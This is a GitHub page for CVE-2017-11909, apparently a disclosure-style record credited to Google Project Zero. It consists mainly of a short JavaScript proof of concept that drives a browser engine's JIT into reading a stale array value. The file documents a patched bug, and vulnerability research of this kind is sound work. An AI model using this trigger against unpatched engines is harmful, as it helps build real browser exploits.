Skip to content

Latest commit

 

History

History
42 lines (33 loc) · 886 Bytes

CVE-2017-11909.md

File metadata and controls

42 lines (33 loc) · 886 Bytes

CVE-2017-11909

  • Fix: Jan 2018
  • Credit: lokihardt of Google Project Zero

PoC

function opt(a, b, always_true = true) {
    a[0] = 1234;
    b[0] = 0;

    let arr = a;
    if (always_true) {
        arr = b;
        for (let i = 0; i < arr.length; i++)
            arr[i] = 0;
    }

    let val = arr[0];
    if (val) {
        print(val);  // Must be 0, but prints out 1234
        return true;
    }

    return false;
}

let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
    if (opt(a, b)) {
        break;
    }
}

Reference